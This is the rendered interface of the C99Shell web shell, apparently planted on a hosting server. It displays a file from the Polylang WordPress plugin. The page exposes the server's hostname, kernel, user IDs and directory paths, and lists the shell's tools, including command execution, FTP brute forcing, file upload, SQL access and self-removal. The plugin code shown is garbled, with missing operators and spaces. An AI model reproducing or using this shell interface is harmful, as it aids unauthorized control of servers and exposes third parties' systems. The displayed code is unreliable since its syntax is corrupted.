!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/polylang/admin/   drwxr-xr-x
Free 179.55 GB of 490.84 GB (36.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     admin-filters-post-base.php (1.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * some common code for PLL_Admin_Filters_Post and PLL_Admin_Filters_Media
 *
 * @since 1.5
 */
abstract class PLL_Admin_Filters_Post_Base {
    public 
$links$model$pref_lang;

    
/**
     * constructor: setups filters and actions
     *
     * @since 1.2
     *
     * @param object $polylang
     */
    
public function __construct( &$polylang ) {
        
$this->links = &$polylang->links;
        
$this->model = &$polylang->model;
        
$this->pref_lang = &$polylang->pref_lang;
    }

    
/**
     * allows to set a language by default for posts if it has no language yet
     *
     * @since 1.5
     *
     * @param int $post_id
     */
    
public function set_default_language$post_id ) {
        if ( ! 
$this->model->post->get_language$post_id ) ) {
            if ( isset( 
$_GET['new_lang'] ) && $lang $this->model->get_language$_GET['new_lang'] ) ) {
                
$this->model->post->set_language$post_id$lang );
            }

            elseif ( ( 
$parent_id wp_get_post_parent_id$post_id ) ) && $parent_lang $this->model->post->get_language$parent_id ) ) {
                
$this->model->post->set_language$post_id$parent_lang );
            }

            else {
                
$this->model->post->set_language$post_id$this->pref_lang );
            }
        }
    }

    
/**
     * save translations from language metabox
     *
     * @since 1.5
     *
     * @param int $post_id
     * @param array $arr
     * @return array
     */
    
protected function save_translations$post_id$arr ) {
        
// security check
        // as 'wp_insert_post' can be called from outside WP admin
        
check_admin_referer'pll_language''_pll_nonce' );

        
// save translations after checking the translated post is in the right language
        
foreach ( $arr as $lang => $tr_id ) {
            
$translations$lang ] = ( $tr_id && $this->model->post->get_language( (int) $tr_id )->slug == $lang ) ? (int) $tr_id 0;
        }

        
$this->model->post->save_translations$post_id$translations );
        return 
$translations;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0543 ]--